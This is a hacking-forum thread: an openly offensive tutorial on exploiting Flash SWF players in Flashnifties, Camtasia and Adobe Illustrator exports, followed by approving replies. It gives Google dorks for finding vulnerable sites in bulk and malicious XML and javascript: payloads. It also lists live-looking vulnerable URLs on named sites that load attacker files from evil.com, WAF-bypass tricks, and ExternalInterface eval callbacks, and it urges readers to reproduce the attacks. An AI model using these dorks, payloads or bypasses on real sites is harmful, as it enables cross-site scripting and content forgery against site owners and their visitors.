

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] SWF / Flash-based Exploitation - REAL EXAMPLES \[PART 2\]](#)

M L T - December 10, 2018, 4:13 am

Flash Exploitation / Cross-Site-Flashing (XSF) Tutorial [PART 2 - REAL WORLD EXAMPLES]:

Introduction: This is part 2 of my flash-based exploitation tutorial series. In this section I will be going over some real-world exploitation scenarios that I've identified in the past, to give you some ideas of how these vulnerabilities can be found. If you haven't read part 1 already, then [read it here](#). In this section, I will cover three zero-day exploits that I identified using the techniques listed in Part 1, with over 100,000 vulnerable websites between them. You can attempt to reproduce these exploits to practise the techniques outlined in Part 1. I will also show a vulnerability affecting Adobe which utilizes two separate techniques listed in part 1. I won't explain how it's done, and the challenge is for you to successfully replicate it using the techniques I described!

Flashnifties XML Slideshow XSS: This is a trivial to exploit vulnerability for Flashnifties XML Slideshow which allows an attacker to trigger XSS and also perform content forgery via a malicious XML file. Considering these devs refer to themselves as developers of "professional flash tools" i'd figure they'd at least have SOME kind of protections in place.. but nope. Any random kid could find and exploit this with ease.

Google Dork:

Quote:intext:flashnifties filetype:swf

10,000+ vulnerable sites:

To exploit this, an attacker needs to supply their own malicious XML file (via the file param i.e. slideshow.swf?file=HERE), lets take a look at an example XML file for flashnifties:

```
Quote:<?xml version="1.0" encoding="iso-8859-1"?>
<slideshow displayTime="5"
transitionSpeed=".7"
transitionType="Fade"
motionType="None"
someParam="blah"
anotherParam="Blah"
<image img="/Images/Backgrounds/01.jpg" caption="" />
<image img="/Images/Backgrounds/02.jpg" caption="" />
<image img="/Images/Backgrounds/03.jpg" caption="" />
<image img="/Images/Backgrounds/04.jpg" caption="" />
<image img="/Images/Backgrounds/05.jpg" caption="" />
<image img="/Images/Backgrounds/06.jpg" caption="" />
</slideshow>
```

As you can see, the locations for the images included in the slideshow are specified in the XML file.

An attacker can simply modify this location to javascript:alert(document.domain) and the javascript will trigger as soon as the victim clicks an image (or as soon as the next image within the slideshow loads)

Here is what an example payload from an attacker would look like:

Quote:<slideshow>

```
<image img="javascript:alert('XSS@'%2Bdocument.domain" caption="" />
</slideshow>
```

Also, a FAR more dangerous vulnerability can be triggered in a similar manner.. I've decided to not publicize this one because that'd be mean (although I was tempted, received no response from the vendors of this software when I originally reported it). I'm sure some people reading this post should be able to figure it out for themselves easily though ? - think terms of callback functionality.

Camtasia Studio + Camstudio: XSS + XSF / Content Injection:

This is a vulnerability in Camtasia Studio in which an attacker can spoof content and trigger javascript via a malicious XML file passed via GET to the SWF. Although Camtasia is screen-recording software, it has the option for a user to export their recording in SWF format to their website, and does so by generating an XML file which is then called via GET using the csConfigFile param – there is no test to ensure that the supplied XML file comes from the same site origin as the SWF (meaning anyone can supply a malicious XML file)

Google Dork:

Quote:inurl:csconfigfile filetype:swf

In some cases there will be filtering involved, but it is generally pretty trivial to circumvent. I've seen a few cases of this where 'http(s)' triggers a WAF response and gives you a HTTP 403 – in which case you can bypass with simple url redirection tricks such as csConfigFile=//evil.com/evil.xml or csConfigFile=/\evil.com/evil.xml. In the case of Microsoft.com they disallowed an IP address to be used as the input for the vulnerable param, this can be bypassed by simply registering a domain. One final method i've seen that has presumably been self-imposed by admins attempting to circumvent this is the blacklisting of XML extensions if supplied via GET with an unrecognised host as part of the param.. I shouldn't have to point out how stupid this is, you can just either save the XML file without an extension (and it will still be valid) or you can just modify .htaccess to 302 redirect to the XML file from a file with a non-blacklisted extension on your server.

Here is a live example:

Quote:

http://www.forex.com/images/flash/tour_ru_controller.swf?csConfigFile=http://evil.com/evil.xml

In the method above, I am using CDATA to trigger the XSS by adding some HTML markup to the page and setting href= attrib for <a> to javascript: uri (to make the about box pop up, just click the Camtasia logo in the bottom right) – Although this demonstrates the ability to execute javascript (and also demonstrates content forgery), if you wanted a PoC that required minimal user interaction then this wouldn't exactly be ideal. Something better would be to perform Cross Site Flashing to include a malicious SWF file that triggers the JS through callback functionality:

Quote:flash.external.ExternalInterface.call("alert", 'XSS');

```
flash.external.ExternalInterface.call("eval", 'cmd');
```

Here is a video PoC demonstrating this vulnerability in Microsoft:

[Video: <https://www.youtube.com/watch?v=sV-Jk1NcoJ8>]

The PoC above demonstrates how this can be used for cross site flashing (in addition to XSS) by loading an SWF from a remote resource.

Below is an example PoC to display how the javascript would be triggered via a malicious XML file:

Quote:<config>

<AutoStart>1</AutoStart>

<MovieWidth>800</MovieWidth>

<MovieHeight>600</MovieHeight>

<BackgroundColor>FFFFFF</BackgroundColor>

<MovieURL>http://thebest404pageever.com/swf/FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCK.swf</MovieURL>

<ShowLoadingMov>1</ShowLoadingMov>

<LoadingMovURL>http://thebest404pageever.com/swf/FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUC
K.swf</LoadingMovURL>

<ScaleLoadingMov>1</ScaleLoadingMov>

<LoadingMovPercentToLoad>50</LoadingMovPercentToLoad>

<LoadingMovMinDuration>3</LoadingMovMinDuration>

<ControllerColor>C0C0C0</ControllerColor>

<ShowFFRW>1</ShowFFRW>

<ShowAbout>1</ShowAbout>

<AboutBoxText><![CDATA[Click me]]> </AboutBoxText>

<TimeDisplayFormat>MM:SS</TimeDisplayFormat>

<ShowDuration>1</ShowDuration>

<ShowElapsedTime>1</ShowElapsedTime>

<TimeDisplayFont>Arial</TimeDisplayFont>

<TimeDisplayFontColor>000000</TimeDisplayFontColor>

</config>

Adobe Illustrator XSS:

This final 0day is an XSS vulnerability affecting certain features of Adobe Illustrator – some big sites affected including the United Nations and the World's largest stock exchange. There isn't a specific google dork for this because there are many different instances of it, but some of the following dorks can work:

Quote:inurl:world.swf filetype:swf

inurl:us.swf filetype:swf

inurl:america.swf filetype:swf

inurl:africa.swf filetype:swf

inurl:asia.swf filetype:swf

If there's a world map (or a map of a specific continent) then you've found the right thing. A remote XML file is supplied via the data_file= flashvar, and there are no checks on whether its from a valid source or not.

The example XML file is too large to include here, but it can be found here – exploitation is simple, just replace all instances of <url>data</url> with:

```
Quote:<url>
javascript:alert(document.domain)
</url>
```

Finding Generic Vulnerabilities:

Of course, these bugs are not limited to specific commercial software, but also custom flash applications that careless developers may have created and hosted online, you can usually narrow down the search for these bugs with a google dork such as:

```
Quote:inurl:xml filetype:swf
```

Below is an example of a vuln identified in adobe using these methods (I figured adobe is a good option since they're the people who created flash, so a flash vuln on their site would be kinda ironic): The google dork listed above could uncover this. Here is the vulnerable URL:

```
Quote:
```

http://www.adobe.com/government/swf/govt_webtour/govt_webtour_map.swf?configPath=HERE

This is a combination of a few of the methods listed above, so it would be a good starting point to practise for a beginner who has just read this tutorial (to see if you can properly configure your crossdomain policy and understand how CDATA works etc).

Here is the payload (WAF bypass was required):

```
Quote:<cta id='ANSES' actionType='download'
data='javascript://adobe.com%0aalert(document.domain)'\>
<![CDATA[ CLICK HERE ]]>
</cta>
```

For practise maybe you can use this and alter some of the values in your XML file to play around with the content injection too (to see how you could potentially use this for content injection) – try setting up your own payload + crossdomain policy and see if you can trigger the alert:

That's all for now. In section 3 I will begin to dive more in-depth with regards to flash vulnerabilities.

PerfectStorm - December 10, 2018, 4:14 am

Nice job bro. By the way, I like the black hatter :+)

M L T - December 10, 2018, 4:17 am

(Dec 10, 2018 05:14 AM)PerfectStorm Wrote: [\[CITE\]](#) Nice job bro. By the way, I like the black hatter :+)

Thanks :) I'll be releasing part 3 and part 4 later today -- those parts will begin to get more advanced. By the time I reach part 5 it's going to be super in-depth (more flash 0days coming too ;D)

PerfectStorm - December 10, 2018, 4:17 am

(Dec 10, 2018 05:17 AM)M L T Wrote: [\[CITE\]](#) Thanks :) I'll be releasing part 3 and part 4 later today -- those parts will begin to get more advanced. By the time I reach part 5 it's going to be super in-depth (more flash 0days coming too ;D)

Great I will be looking forward to it ?

M L T - December 10, 2018, 4:19 am

(Dec 10, 2018 05:17 AM)PerfectStorm Wrote: [\[CITE\]](#) Great I will be looking forward to it ?
One of them will be an RCE 0day for flash player ;) and an explanation of how to find these on a regular basis. I've currently got Three working methods. Sold two to [Zerodium](#) but I kept the third one specifically to release for this thread rather than selling it.

Temp_reassign - December 10, 2018, 4:43 am

A lot'a work you put in bro, nice share. who would have thought Macromedia websites would ever be porous? will this also effect Flash 2.0 swf files?

M L T - December 10, 2018, 5:33 am

(Dec 10, 2018 05:43 AM)Temp_reassign Wrote: [\[CITE\]](#) A lot'a work you put in bro, nice share. who would have thought Macromedia websites would ever be porous? will this also effect Flash 2.0 swf files?

Thanks :) yeah.. majority of these methods (pretty much all of them except for injection through textfield objects) work on all versions of flash I believe. HTML Injection / Callback functionality thru textfield was patched in more recent flash versions.